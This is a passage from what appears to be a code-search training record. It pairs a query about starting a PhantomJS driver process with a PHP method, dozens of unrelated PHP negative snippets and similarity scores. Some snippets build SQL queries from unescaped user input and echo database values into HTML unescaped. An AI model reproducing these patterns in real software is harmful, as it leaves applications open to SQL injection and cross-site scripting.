?></td>\n\t\t\t\t<td><?php echo $data['nik_saksi']; ?></td>\n\t\t\t\t<td><?php echo $data['desa_saksi']; ?></td>\n\t\t\t\t<td><?php echo $data['kecamatan_saksi']; ?></td>\n\t\t\t\t<td><?php echo $data['kabupaten_saksi']; ?></td>\n\t\t\t\t<td><?= $nomor++; ?>.</td>\n\t\t\t\t<td><?php echo $data['nama_saksi']; ?></td>\n\t\t\t\t<td><?php echo $data['nik_saksi']; ?></td>\n\t\t\t\t<td><?php echo $data['desa_saksi']; ?></td>\n\t\t\t\t<td><?php echo $data['kecamatan_saksi']; ?></td>\n\t\t\t\t<td><?php echo $data['kabupaten_saksi']; ?></td>\n\t\t\t\t<td>\n\t\t\t\t\t<a href=\"entri_saksi.php?aksi=update&id=<?php echo $data['id_saksi']; ?>&nik=<?php echo $data['nik_saksi']; ?>&jk=<?php echo $data['id_jk']; ?>&nm_saksi=<?php echo $data['nama_saksi']; ?>&alamat=<?php echo $data['alamat_saksi']; ?>&temp_lahir=<?php echo $data['temp_lahir_saksi']; ?>&desa=<?php echo $data['desa_saksi']; ?>&tgl_lahir=<?php echo $data['tgl_lahir_saksi']; ?>&kecamatan=<?php echo $data['kecamatan_saksi']; ?>&pekerjaan=<?php echo $data['pekerjaan_saksi']; ?>&kabupaten=<?php echo $data['kabupaten_saksi']; ?>&agama=<?php echo $data['agama_saksi']; ?>\">Edit</a>\n\t\t\t\t</td>\n<!-- \t\t\t\t<td>\n\t\t\t\t\t<a href=\"entri_saksi.php?aksi=delete&id=<?php echo $data['id_saksi']; ?>\" onClick=\"return confirm('Yakin akan menghapus saksi <?= $data['nama_saksi']; ?>?')\">Hapus</a>\n\t\t\t\t</td> -->\n\t\t\t</tr>\n\t\t<?php\n\t}\n\techo \"</tbody>\";\n\techo \"</table>\";\n\techo \"</fieldset>\";\n\techo \"</br>\";\n\techo \"</br>\";\n\techo \"</br>\";\n}",
"function tambah($data) {\n $conn = koneksi_db();\n\n // Upload Gambar\n $gambar = upload();\n if (!$gambar) {\n return false;\n }\n\n $judul_buku = htmlspecialchars($data['judul_buku']);\n $deskripsi = htmlspecialchars($data['deskripsi']);\n $penulis = htmlspecialchars($data['penulis']);\n $tahun_terbit = htmlspecialchars($data['tahun_terbit']);\n $penerbit = htmlspecialchars($data['penerbit']);\n $stok = htmlspecialchars($data['stok']);\n $harga = htmlspecialchars($data['harga']);\n\n $query = \"INSERT INTO daftar_buku VALUES\n ('', '$gambar', '$judul_buku', '$deskripsi', '$penulis', '$tahun_terbit', '$penerbit', '$stok', '$harga')\";\n\n mysqli_query($conn, $query);\n\n return mysqli_affected_rows($conn);\n }",
"public function run()\n {\n $jawaban_soal_ujians = [\n [ \n\t\t\t'jawaban'\t\t=> '3500',\n\t\t\t'is_benar'\t\t=> '0',\t\t\t\n\t\t\t'poin'\t\t=> '0',\n\t\t\t'id_soal'\t\t=> '1',\t\t\t\n\t\t],\n\t\t[ \n\t\t\t'jawaban'\t\t=> '2500',\n\t\t\t'is_benar'\t\t=> '1',\t\t\t\n\t\t\t'poin'\t\t=> '10',\n\t\t\t'id_soal'\t\t=> '1',\t\t\t\n\t\t],\n\t\t[ \n\t\t\t'jawaban'\t\t=> '8900',\n\t\t\t'is_benar'\t\t=> '0',\t\t\t\n\t\t\t'poin'\t\t=> '0',\n\t\t\t'id_soal'\t\t=> '1',\t\t\t\n\t\t],\n\t\t[ \n\t\t\t'jawaban'\t\t=> '250',\n\t\t\t'is_benar'\t\t=> '0',\t\t\t\n\t\t\t'poin'\t\t=> '0',\n\t\t\t'id_soal'\t\t=> '1',\t\t\t\n\t\t],\n\t\t[ \n\t\t\t'jawaban'\t\t=> 'Mensyukuri',\n\t\t\t'is_benar'\t\t=> '0',\t\t\t\n\t\t\t'poin'\t\t=> '0',\n\t\t\t'id_soal'\t\t=> '2',\t\t\t\n\t\t], \n\t\t[ \n\t\t\t'jawaban'\t\t=> 'Menyukai',\n\t\t\t'is_benar'\t\t=> '0',\t\t\t\n\t\t\t'poin'\t\t=> '0',\n\t\t\t'id_soal'\t\t=> '2',\t\t\t\n\t\t],\n\t\t[ \n\t\t\t'jawaban'\t\t=> 'Membenci',\n\t\t\t'is_benar'\t\t=> '0',\t\t\t\n\t\t\t'poin'\t\t=> '0',\n\t\t\t'id_soal'\t\t=> '2',\t\t\t\n\t\t],\n\t\t[ \n\t\t\t'jawaban'\t\t=> 'Menyayangi',\n\t\t\t'is_benar'\t\t=> '1',\t\t\t\n\t\t\t'poin'\t\t=> '10',\n\t\t\t'id_soal'\t\t=> '2',\t\t\t\n\t\t],\t\n\t\t]; \n\n\t\tDB::table('jawaban_soal_ujians')->insert($jawaban_soal_ujians);\n }",
"public function input_masuk($data){\n\t\treturn $this->db->insert('transaksi_barang', $data);\n\t}",
"public function getDataUmum()\n {\n return DataTables::of(DataUmum::with(['Kecamatan'])->select(['id', 'kecamatan_id', 'tipologi', 'luas_wilayah', 'jumlah_penduduk','bts_wil_utara','bts_wil_timur','bts_wil_selatan','bts_wil_barat'])->get())\n ->addColumn( 'action', function ( $data ) {\n $edit_url = route('data.data-umum.edit', $data->id );\n\n $data['edit_url'] = $edit_url;\n\n return view('forms.action', $data);\n })\n ->make();\n }"
] | [
"0.7511616",
"0.7162233",
"0.70988476",
"0.7021149",
"0.70042604",
"0.68070596",
"0.6793131",
"0.6781284",
"0.6734831",
"0.67164695",
"0.6686433",
"0.6606275",
"0.6598041",
"0.6575212",
"0.6574433",
"0.6556315",
"0.65475625",
"0.6532293",
"0.651962",
"0.65142137",
"0.6508112",
"0.64910793",
"0.6484202",
"0.6483119",
"0.6470782",
"0.64698",
"0.6462945",
"0.6457442",
"0.6453513",
"0.64454633",
"0.64210695",
"0.6412748",
"0.64096695",
"0.6398654",
"0.6393411",
"0.6386897",
"0.638451",
"0.63841563",
"0.63817805",
"0.63780695",
"0.6364627",
"0.6352549",
"0.6351993",
"0.63440496",
"0.6334201",
"0.63293284",
"0.63267195",
"0.6325116",
"0.63104105",
"0.6306037",
"0.628786",
"0.62763083",
"0.6275499",
"0.62715834",
"0.62710327",
"0.62673485",
"0.6264533",
"0.6260001",
"0.6258123",
"0.62523985",
"0.62515754",
"0.624496",
"0.6241647",
"0.6237284",
"0.6236802",
"0.6236198",
"0.6230637",
"0.62295204",
"0.6227945",
"0.62253",
"0.62239945",
"0.6221726",
"0.6208153",
"0.6206856",
"0.6202207",
"0.61991477",
"0.619796",
"0.6196983",
"0.61961126",
"0.61926657",
"0.61924374",
"0.61918354",
"0.6185519",
"0.6184202",
"0.61815387",
"0.6178146",
"0.6177148",
"0.61671776",
"0.6167016",
"0.61601096",
"0.6158081",
"0.615727",
"0.6155775",
"0.6144119",
"0.61434853",
"0.6142464",
"0.61366796",
"0.61366016",
"0.61333925",
"0.6131859",
"0.6131355"
] | 0.0 | -1 |
Start the Phantomriver process. | public static function startPhantomDriver()
{
static::$phantomProcess = static::buildPhantomProcess();
static::$phantomProcess->start();
// We wait with execution of the scripts untill we see that the output shows us it's running.
while( ! str_contains(static::$phantomProcess->getOutput(), 'running on port')){
sleep(1);
}
static::afterClass(function () {
static::stopPhantomDriver();
});
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function prepare()\n {\n static::startPhantomDriver();\n }",
"protected static function buildPhantomProcess()\n {\n return (new ProcessBuilder())\n ->setPrefix(realpath('/usr/local/bin/phantomjs')) // @todo modular OR fixed in package.\n ->setArguments(['--webdriver=8910'])\n ->getProcess();\n }",
"public static function usePhantomdriver($path)\n {\n static::$phantomDriver = $path;\n }",
"protected static function launchBrowser()\n\t{\n\t\tif (MHTTPD::$config['Other']['browser_autolaunch']) {\n\t\t\t$url = MHTTPD::$config['SSL']['enabled'] ? 'https://' : 'http://';\n\t\t\t$url .= MHTTPD::$config['Server']['address'].':'.MHTTPD::$config['Server']['port'].'/';\n\t\t\t$cmd = 'cmd.exe /C start /B /WAIT PING 127.0.0.1 -n 3 -w 1000 >NUL '\n\t\t\t\t.'& start /B rundll32.exe url.dll,FileProtocolHandler '.$url;\n\t\t\t$wshShell = new COM('WScript.Shell');\n\t\t\t$wshShell->Run($cmd, 0, false);\n\t\t}\n\t}",
"public function start() {\n $this->getPidFile()->write($this->getPidManager()->getCurrent());\n $this->getIpc()->setVar('pid', $this->getPidManager()->getCurrent());\n $this->_run();\n }",
"public function start(): int\n {\n $this->processRunner = new ProcessRunner(Scripts::getMockService(), $this->getArguments());\n\n $processId = $this->processRunner->run();\n\n $result = $this->verifyHealthCheck();\n\n return $processId;\n }",
"private function serveStart()\n {\n if (static::$run) {\n return;\n }\n\n static::$run = true;\n\n print \"Running dev/build...\\n\";\n @exec(\"framework/sake dev/build flush=1 > /dev/null 2> /dev/null\");\n\n print \"Finding open port...\\n\";\n\n while (!$this->addressAvailable($this->getHost(), $this->getPort())) {\n $this->setPort($this->getPort() + 1);\n }\n\n if (!$this->running) {\n $host = $this->getHost();\n $port = $this->getPort();\n\n $hash = spl_object_hash($this);\n\n print \"Starting development server...\\n\";\n $command = \"framework/sake dev/tasks/SilverStripe-Serve-Task hash={$hash} host={$host} port={$port} > /dev/null 2> /dev/null &\";\n\n exec($command, $output);\n\n $command = \"ps -o pid,command | grep {$hash}\";\n @exec($command, $output);\n\n if (count($output) > 0) {\n foreach ($output as $line) {\n $parts = explode(\" \", $line);\n $this->pid[] = $parts[0];\n }\n }\n\n sleep(1);\n }\n }",
"public function start() {\n\t\t$this->invoke(\"start\");\n\t}",
"protected function start()\n {\n $status = $this->autoTestController->start();\n\n PacklinkPrestaShopUtility::dieJson($status);\n }",
"public function start()\n { \n $process = new Process(['/home/pio/PredictionIO-0.14.0/bin/pio-start-all']);\n\n // $process->setWorkingDirectory('/home/pio/PredictionIO-0.14.0/bin');\n\n $process->run();\n\n // Executes after the command finishes\n if (!$process->isSuccessful()) {\n \\Log::info(new ProcessFailedException($process));\n\n session()->flash('error', 'Failed' );\n\n return back()->with('status', 'Failed' );\n }\n \n \\Log::info($process->getOutput());\n\n session()->flash('success', 'Started');\n\n return back()->with('status', 'Started');\n }",
"protected function start()\n {\n $pidFile = $this->getPidFile();\n\n if(is_file($pidFile)){\n echo \"PID present, so service is already started\\n\";\n exit;\n }\n\n $user = $this->getContainer()->getParameter('netvlies_publish.anyterm_user');\n $port = $this->getContainer()->getParameter('netvlies_publish.anyterm_exec_port');\n $command = 'anytermd -c \"'.dirname(__DIR__).'/Resources/anyterm/exec.sh %p\" -p '.$port.' -u '.$user.' --name anyterm'.$port;\n shell_exec($command);\n }",
"protected function setUp(): void\n {\n $publicPath = __DIR__ . '/../../src/Provider/public/';\n\n $this->processRunner = new ProcessRunner('php', ['-S', 'localhost:7202', '-t', $publicPath]);\n\n $this->processRunner->run();\n }",
"public static function prepare()\n {\n // static::useChromedriver(realpath(__DIR__ . '/../bin/chromedriver'));\n static::startChromeDriver();\n }",
"public function test()\n {\n $process = Process::fromShellCommandline('node print-to-pdf.js');\n $process->setTimeout(30);\n $process->setOptions(['create_new_console' => true]);\n $process->setWorkingDirectory('C:/xampp/htdocs/fms');\n try {\n $process->mustRun();\n echo $process->getOutput();\n } catch (ProcessFailedException $exception) {\n echo $exception->getMessage();\n }\n }",
"public function LaunchInjector()\n {\n if(!empty($this->JOBS)){\n $this->Debug('LOW QUEUE JOBS', $this->JOBS);\n foreach ($this->JOBS as $ID => $JOB) {\n $cmd = '/usr/bin/php '.$this->Injector.' \\''.$ID.'\\' \\''.json_encode($JOB, JSON_NUMERIC_CHECK).'\\'';\n $rslt = array();\n exec($cmd, $rslt);\n if(!empty($rslt))\n $this->ALERTS[] = red.implode(\"\\n\",$rslt).white;\n }\n }\n }",
"public static function stopPhantomDriver()\n {\n if (static::$phantomProcess) {\n static::$phantomProcess->stop();\n }\n }",
"public function start()\n {\n $whoops = new Run();\n $handler = new PrettyPageHandler();\n\n $handler->addResourcePath(__DIR__.'/Resources');\n $handler->setEditor('sublime');\n\n $whoops->pushHandler($handler);\n $whoops->register();\n\n $this->whoops = $whoops;\n }",
"public static function prepare()\n {\n static::startChromeDriver();\n }",
"static function runProcessor() {\n $process_cmd = get_option('hbo_run_processor_cmd');\n if (substr(php_uname(), 0, 7) != \"Windows\" && false === empty($process_cmd)) {\n $command = \"nohup $process_cmd > /dev/null 2>&1 &\";\n exec( $command );\n }\n }",
"public static function setUpBeforeClass()\n {\n /*\n * First, start the PHP build-in server:\n * php -S 127.0.0.1:8000 -t PHP/Compound/MVC/Public\n */\n self::$process = new Process('php -S 127.0.0.1:8000 -t PHP/Compound/MVC/Public');\n self::$process->start();\n\n /*\n * Wait for server\n */\n usleep(100000);\n }",
"public function run()\n {\n $this->server->start();\n }",
"public function launchApp()\n {\n if ($this->findAppPort()) {\n return;\n }\n\n exec('open ' . self::APP_LAUNCH_URL);\n\n while (!$this->findAppPort()) {\n sleep(2);\n }\n }",
"public static function prepare()\n {\n // static::startChromeDriver();\n }",
"protected function run(Process $process) {\n\t}",
"protected function run(Process $process) {\n\t}",
"private function start()\n {\n // CSRF Watchdog\n $this->csrfWatchdog();\n\n // Retrieve and other services\n $this->retriever->watchdog();\n\n // Router Templater Hybrid\n $this->renderer->route();\n }",
"public function start() {\n\n // TODO: Maybe sometimes\n\n }",
"function start_dev_server(): void\n{\n if (optional(this()->server)->isRunning()) {\n return;\n }\n\n this()->server = new Process([\n 'php',\n '-S',\n 'localhost:3000',\n $directory = __DIR__ . '/Server',\n $directory . '/index.php',\n ]);\n\n this()->server->start();\n this()->server->waitUntil(fn ($_, $output) => str_contains($output, 'started'));\n}",
"public function start() {}",
"public function start() {}",
"public function start() {}",
"public function start() {}",
"public function start() {}",
"public function start() {}",
"public function start() {}",
"public function start() {}",
"public function start() {}",
"public function start() {}",
"public function start()\n {\n $this->registerDefaultServices();\n\n $this->handle($this->request->createFromGlobals());\n }",
"function main() {\n\t\tif (!$this->_registerPid()) {\n\t\t\t$this->out('Unable to register Pid');\n\t\t\t$this->_stop();\n\t\t}\n\t\tif (file_exists($this->params['working'] . DS . '.autotest')) {\n\t\t\tinclude($this->params['working'] . DS . '.autotest');\n\t\t}\n\t\tif (!empty($this->params['notify'])) {\n\t\t\t$this->settings['notify'] = $this->params['notify'];\n\t\t}\n\t\tif (!empty($this->params['mode'])) {\n\t\t\t$this->settings['mode'] = $this->params['mode'];\n\t\t}\n\t\t$suffix = '';\n\t\tif (!empty($this->settings['mode'])) {\n\t\t\t$suffix = ' (' . $this->settings['mode'] . ' mode)';\n\t\t}\n\n\t\tNotify::$method = $this->settings['notify'];\n\t\t$this->addHooks();\n\t\tNotify::message('Autopilot Starting', 'in ' . APP_DIR . $suffix, 0, false);\n\t\t$this->buildPaths();\n\t\t$this->run();\n\t}",
"public function start()\n {\n // nop\n }",
"public function run(): void\n {\n $command = $this->composeCommand();\n\n $command = is_windows_os()\n ? \"start /B {$command}\"\n : \"({$command}) > /dev/null 2>&1 &\";\n\n exec($command);\n }",
"public function run()\n {\n // factory(App\\Scanner::class, 10 )->create();\n for ($i=1; $i <= Lineprocess::count() ; $i++) { \n # code...\n $scanner = new Scanner;\n $scanner->line_id = 1;\n $scanner->lineprocess_id = $i; \n $scanner->name = 'Scanner '.$i;\n $scanner->mac_address = '65:C7:85:L9 (temp)';\n $scanner->ip_address = $i; //localhost in ipv6\n $scanner->save();\n }\n }",
"private function startServer() {\n\t\t$serverLog = PHPUNIT_TEMP_DIR . '/socketServer.log';\n\t\t$descriptorspec = array(\n\t\t\t0 => array(\"pipe\", \"r\"), // stdin\n\t\t\t1 => array(\"file\", $serverLog, \"a\"),// stdout\n\t\t\t2 => array(\"file\", $serverLog, \"a\") // stderr\n\t\t);\n\n\t\t$cmd = \"php \" . dirname(__FILE__) . '/socketServer.php';\n\t\t$this->server = proc_open($cmd, $descriptorspec, $this->pipes);\n\t\tif ($this->server === false) {\n\t\t\tthrow new Exception(\"Failed starting the socket server process.\");\n\t\t}\n\t\t\n\t\t// Sleep a bit to allow server to start\n\t\tusleep(200000);\n\t\t\n\t\t// Verify the server is running\n\t\t$status = proc_get_status($this->server);\n\t\tif (!$status['running']) {\n\t\t\tthrow new Exception(\"Socket server process failed to start. Check the log at [$serverLog].\");\n\t\t}\n\t}",
"public function run()\n {\n $this->browser->open($_ENV['app_frontend_url'] . $this->product->getUrlKey() . '.html');\n }",
"public static function start()\n {\n self::registerDefault();\n\n $page = rex_request('page', 'string');\n $subpage = rex_request('subpage', 'string');\n $function = rex_request('function', 'string');\n\n if ($page === 'import_export' && $subpage === 'import' && $function === 'dbimport') {\n rex_register_extension('A1_AFTER_DB_IMPORT', function () {\n rex_developer_manager::synchronize(null, true);\n });\n } elseif ($page === 'developer' && $function === 'update') {\n rex_register_extension('OUTPUT_FILTER_CACHE', function () {\n rex_developer_manager::synchronize(null, true);\n });\n } else {\n self::synchronize(self::START_EARLY);\n rex_register_extension('OUTPUT_FILTER_CACHE', function () {\n rex_developer_manager::synchronize(rex_developer_manager::START_LATE);\n });\n }\n }",
"public function start();",
"public function start();",
"public function start();",
"public function start();",
"public function start();",
"public function start();",
"public function start();",
"public function start();",
"public function start();",
"public function start();",
"public function start();",
"public function start();",
"public function run()\n {\n \\App\\Models\\Capybara::factory()->create([\n 'name' => 'Colossus'\n ]);\n\n \\App\\Models\\Capybara::factory()->create([\n 'name' => 'Steven'\n ]);\n\n \\App\\Models\\Capybara::factory()->create([\n 'name' => 'Capybaby'\n ]);\n }",
"public function start()\n {\n die(\"Must override this function in a driver\");\n }",
"public function run()\n {\n \t$router = Injector::call('\\Nanozen\\Providers\\CustomRouting\\CustomRoutingProvider');\n \t\n \t// Setting up the routes.\n\t\t$this->setupRoutes($router);\n\n // Invoking the router.\n $router->invoke();\n }",
"public static function run() {\n\t\t$dispatcher = new HHVMTestSuiteDispatcher();\n\t\t$dispatcher->dispatch();\n\t}",
"public function run() {\n\n\t\t// Add the admin page.\n\t\t$admin_page = new AdminPage();\n\t\t$admin_page->init();\n\n\t\t// Log frontend visits.\n\t\t$log = new Log();\n\t\t$log->run();\n\n\t\t$cloverly = new PaymentAPICloverly();\n\t\t$cloverly->init();\n\t}",
"public function start()\n\t{\n\t\t$this->define_home_dir_constant();\n\t\t$this->register_root_namespace();\n\t\tspl_autoload_register(array($this, 'autoload'));\n\t}",
"public function run()\n {\n $this->run_configuration();\n\n $this->request->plugins = $this->pluggins;\n\n $app = $this;\n\n $this->router->start($app);\n }",
"public function startProcess()\r\n\t{\r\n\t\t$this->output->writeln(\"<info>{$this->title}</info> <info>#files: \".count($this->filesToAnalyze).'</info>');\r\n\r\n\t\t$this->process();\r\n\r\n\t\treturn true;\r\n\t}",
"public function start()\n {\n Console::startProgress(0,100);\n }",
"public function run()\r\n\t{\r\n\t\tPrado::trace(\"Running page service\",'System.Web.Services.TPageService');\r\n\t\t$this->_page=$this->createPage($this->getRequestedPagePath());\r\n\t\t$this->runPage($this->_page,$this->_properties);\r\n\t}",
"protected function setUp(): void\n {\n $this->driver = RemoteWebDriver::createBySessionID(\n 'session-id',\n 'http://foo.bar:4444',\n null,\n null,\n true,\n new DesiredCapabilities([])\n );\n }",
"public function run()\n {\n Page::create([\n 'series_id' => Series::where(['route' => 'walnuts'])->first()->id,\n 'author_id' => User::where(['is_author' => true])->first()->id,\n 'title' => 'About',\n 'content' => 'Yeah, just another test, here...',\n ])->setStatus('public', 'seed data');\n }",
"protected function run(): void\n {\n if (! $this->settings['graphicalEnvironment']) {\n $this->prepareVirtualFrameBuffer();\n }\n\n $process = $this->createProcess();\n\n try {\n $process->mustRun();\n } catch (ProcessFailedException $exception) {\n throw new GenerationFailed($this->from, $this->to, $process);\n }\n }",
"function start()\n {\n $this->startService();\n $this->startSession();\n }",
"public function start()\n {\n }",
"public function start()\n {\n }",
"public function start()\n {\n }",
"public function start()\n {\n try {\n $this->registerProvider(Dependents::class);\n $route = Router::match();\n $response = $this->startAction($route);\n }\n catch (\\Throwable $e) {\n $response = $this->handleException($e);\n }\n catch (\\Exception $e) {\n $response = $this->handleException($e);\n }\n\n if ($response instanceof Response) {\n $this->accept($response);\n }\n }",
"public function profilerStart()\n {\n if (extension_loaded('xhprof')) {\n include_once($this->xhprofLibPath . 'utils/xhprof_lib.php');\n include_once($this->xhprofLibPath . 'utils/xhprof_runs.php');\n xhprof_enable(XHPROF_FLAGS_CPU + XHPROF_FLAGS_MEMORY);\n }\n }",
"public function start()\n {\n Session::start();\n\n Environment::start();\n \n Database::start($withDatabase = true);\n \n Router::start();\n }",
"public function activate() {\n $activator = new JWP\\JPE\\Activator();\n $activator->run();\n }",
"public static function launcher()\n {\n $displayerrors = get_plugin_setting('displayerrors', 'elgg_developer_tools');\n if ($displayerrors) ini_set('display_errors', 1);\n \n /** delete views if its requested **/\n $deleteviews = get_plugin_setting('deleteviews', 'elgg_developer_tools');\n if ($deleteviews) self::_deleteViews();\n \n /** include firePHP if need be **/\n $firephp = get_plugin_setting('enablefirephp', 'elgg_developer_tools');\n if ($firephp) {\n require_once dirname(__FILE__) . '/firephp/FirePHP.class.php';\n require_once dirname(__FILE__) . '/firephp/fb.php';\n }\n else {\n require_once dirname(__FILE__) . '/FirePHPDisabled.php';\n }\n }",
"public static function start(): void {\n }",
"public function run(): void\n {\n $this->console->run();\n }",
"public static function run_on_demand()\n {\n $obj = new self();\n $obj->verbose = true;\n $obj->run(null);\n }",
"public function __construct() {\n $this->start();\n }",
"public function start(): void {}",
"public function run()\n {\n //\n $this->call(Professeur::class);\n }",
"protected function setup() {\n $driver = new \\Behat\\Mink\\Driver\\GoutteDriver();\n $this->session = new \\Behat\\Mink\\Session($driver);\n $this->session->start();\n }",
"public function run()\n {\n factory(Hosting::class, 3)->create();\n }",
"abstract public function start();",
"abstract public function start();",
"public static function start($args = array())\n {\n $runner = self::getInstance();\n\n // store the args locally and process them\n $runner->_args = $args;\n $runner->_processArgs($args);\n\n // set up an error handler so warnings and errors can be caught\n set_error_handler(array($runner, 'handleError'));\n\n if ($runner->showCoverage()) {\n xdebug_start_code_coverage(XDEBUG_CC_UNUSED);\n }\n\n if ($runner->hasFile(self::BOOTSTRAP)) {\n $runner->includeFile(self::BOOTSTRAP);\n }\n\n $runner->runTests($runner->_file);\n\n $runner->showResults();\n }",
"function setUp()\n\t{\n\t\t// $this->setBrowser(\"*firefox\");\n\t\t$this->setBrowserUrl(\"http://localhost/\");\n\t}",
"public function callPageRunCmd()\n {\n $script = $this->rootDir . '/excmd/asrorz.php';\n $params = 'cores/page/run --app=' . $this->newName;\n $phpcmd = 'php ' . $script . ' ' . $params;\n Az::debug($phpcmd, 'command to launch: ');\n $r = shell_exec($phpcmd);\n Az::debug($phpcmd, 'command executed: ');\n Az::debug($r, 'command result: ');\n }",
"function runBackgroundProcess() {\n }",
"public function start()\n {\n // TODO: Implement start() method.\n }",
"public function run() {\n\t\t$this->create_instances();\n\t\t$this->register_hooks();\n\t}",
"public function __construct()\n {\n $this->start();\n }",
"public function __construct()\n {\n $this->start();\n }",
"public function handle()\n {\n $this->process->mustRun();\n }",
"public function run()\n\t{\n\t\t$this->getProviders();\n\n\t\t$this->registerProviders();\n\t}"
] | [
"0.6778823",
"0.65860546",
"0.5950615",
"0.5881706",
"0.58477384",
"0.5790016",
"0.57855815",
"0.5714201",
"0.56485796",
"0.55878705",
"0.55310845",
"0.55302984",
"0.5527996",
"0.5467969",
"0.54674757",
"0.5418535",
"0.5386168",
"0.5372389",
"0.5363129",
"0.5360811",
"0.5342646",
"0.52999246",
"0.5297157",
"0.5275596",
"0.5275596",
"0.5259613",
"0.51428986",
"0.5142563",
"0.5126738",
"0.5126738",
"0.5126721",
"0.5126321",
"0.5126321",
"0.5126321",
"0.5126321",
"0.5126321",
"0.5126321",
"0.5125838",
"0.51155347",
"0.50821793",
"0.50726646",
"0.50710016",
"0.5067507",
"0.5054329",
"0.5036165",
"0.50173306",
"0.49821222",
"0.49821222",
"0.49821222",
"0.49821222",
"0.49821222",
"0.49821222",
"0.49821222",
"0.49821222",
"0.49821222",
"0.49821222",
"0.49821222",
"0.49821222",
"0.49784184",
"0.49764958",
"0.49753293",
"0.49615765",
"0.49255285",
"0.49134582",
"0.49055278",
"0.49019343",
"0.48896435",
"0.48722878",
"0.48720482",
"0.48628828",
"0.48591626",
"0.4855942",
"0.48523092",
"0.48523092",
"0.48523092",
"0.4844378",
"0.48419434",
"0.48273644",
"0.4826727",
"0.48134878",
"0.48050785",
"0.4796603",
"0.47947544",
"0.47909907",
"0.4786476",
"0.47822064",
"0.4774121",
"0.47517192",
"0.4750602",
"0.4750602",
"0.4741316",
"0.4735351",
"0.4733759",
"0.47113934",
"0.4710285",
"0.47092098",
"0.4707212",
"0.4707212",
"0.47024074",
"0.46978655"
] | 0.8534065 | 0 |
Stop the Phantomdriver process. | public static function stopPhantomDriver()
{
if (static::$phantomProcess) {
static::$phantomProcess->stop();
}
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function stop() {\n try {\n $pid = $this->getPidFile()->read();\n\n Logger::log(\"Killing THIS PID: \" . $pid, \\Zend_Log::WARN);\n posix_kill($pid, SIGTERM);\n } catch (\\Exception $e) {\n echo $e->getMessage();\n }\n $this->_exit();\n }",
"public function stop() {\n\t\t$this->invoke(\"stop\");\n\t}",
"public function stop()\n {\n if (OS::isWin()) {\n $cmd = \"taskkill /pid {$this->pid} -t -f\";\n } else {\n $cmd = \"kill -9 {$this->pid}\";\n }\n shell_exec($cmd);\n }",
"protected function stop()\n {\n $pidFile = $this->getPidFile();\n\n if(!is_file($pidFile)){\n echo \"PID file not present, so service is not started\\n\";\n exit;\n }\n if(!is_writable($pidFile)){\n echo \"Insufficient permissions. Please execute as service like 'sudo service anyterm start'\";\n exit;\n }\n\n shell_exec('kill `cat /var/run/anyterm.pid`');\n unlink($pidFile);\n }",
"public function stop()\n {\n $className = str_replace(__NAMESPACE__ . '\\\\', '', get_called_class());\n\n if (!$this->started) {\n return;\n }\n\n $this->destroy();\n $this->started = false;\n Log::d($className . ' stopped.');\n }",
"public function stop() {}",
"private function serveStop()\n {\n foreach ($this->pid as $pid) {\n $command = \"kill -9 {$pid} > /dev/null 2> /dev/null &\";\n @exec($command, $output);\n }\n }",
"public function stop() {\n\t\tLogger::getRootLogger ()->info ( \"Stopping IPsec\" );\n\t\t$pid = file_exists ( self::PID_PATH ) ? Functions::shellCommand ( \"pgrep -F \" . self::PID_PATH ) : 0;\n\t\tif ($pid > 0) {\n\t\t\tFunctions::shellCommand ( \"/bin/kill {$pid}\" );\n\t\t}\n\t}",
"public function stop() {\n\t\t// Setup\n\t\t$options = array(\n\t\t\t'appName' => 'cakedaemon',\n\t\t\t'logLocation' => TMP . \"logs\" . DS . 'cakedaemon.log'\n\t\t);\n\n\t\tSystem_Daemon::setOptions($options);\n\t\tSystem_Daemon::stopRunning();\n\t}",
"public static function stop()\n {\n }",
"protected function tearDown(): void\n {\n $this->processRunner->stop();\n }",
"public function shutdown() {\n\t\t$this->stop();\n\t}",
"public function stop(): void;",
"public function stop(): void;",
"public function stop(): void;",
"public function stop(): void;",
"public function stop(): void;",
"public function stop();",
"public function stop();",
"public function stop();",
"public function stop();",
"public function stop();",
"public function stop();",
"public function stop();",
"public function stop();",
"public function stop()\n {\n }",
"public static function tearDownAfterClass()\n {\n self::$process->stop();\n }",
"public function stop()\n {\n }",
"public function stop()\n {\n // nop\n }",
"abstract public function stop();",
"public function stop()\n {\n // TODO: Implement stop() method.\n }",
"public function stop()\n {\n $this->loop->stop();\n }",
"public function stop()\n {\n\n }",
"public function stop()\r\n {\r\n\r\n }",
"public function tearDown()\n {\n $this->stop();\n }",
"public function stop(): bool\n {\n return $this->processRunner->stop();\n }",
"private function stopServer() {\n\t\t$this->socketSend('shutdown');\n\t\tforeach($this->pipes as $pipe) {\n\t\t\tfclose($pipe);\n\t\t}\n\t\tproc_close($this->server);\n\t}",
"public function stop()\n {\n die;\n }",
"public function stopProcess() {\n // Do not change the status of an idle migration\n db_update('migrate_status')\n ->fields(array('status' => MigrationBase::STATUS_STOPPING))\n ->condition('machine_name', $this->machineName)\n ->condition('status', MigrationBase::STATUS_IDLE, '<>')\n ->execute();\n }",
"public static function stop()\n {\n self::$executionTime = round(abs(microtime(true) - $_ENV['W']['START_TIME']) * 1000, 0);\n }",
"public function stop(): void\n {\n $server = $this->createServer();\n\n // Check if it has started\n if (!$server->isRunning()) {\n output()->writeln('<error>The server is not running! cannot stop.</error>');\n return;\n }\n\n // Do stopping.\n $server->stop();\n }",
"public function stop()\n {\n $this->mark('__stop');\n }",
"public static function stop() {\n\t\tself::$con->close();\n\t}",
"public function stop()\n {\n // Put your code here;\n }",
"public function shutdown();",
"public function shutdown();",
"public function destroy()\n {\n $this->stop();\n $this->setupListeners();\n }",
"public function stop()\n\t{\n\t\treturn $this->CLI->pingQuery($this->SqueezePlyrID.\" stop\");\n\t}",
"public function tearDown() {\n if(self::$__infoKill) {\n echo sprintf(self::$__infoKill, date('r'), $this->__pid) . PHP_EOL;\n }\n exec('kill ' . $this->__pid);\n unset(self::$__pIds[$this->__pid]);\n\n parent::tearDown();\n }",
"public function stop()\n {\n // Update worker state and set it as finished\n $this->update(['resume_token' => 0, 'has_finished' => true]);\n }",
"public function stop()\n\t{\n\t\t$this->data->directSet(\"state\", self::STATE_STOPPED);\n\t}",
"public function shutdown() {}",
"public function shutdown() {}",
"public function shutdown() {}",
"public function shutdown() {}",
"public function shutdown() {}",
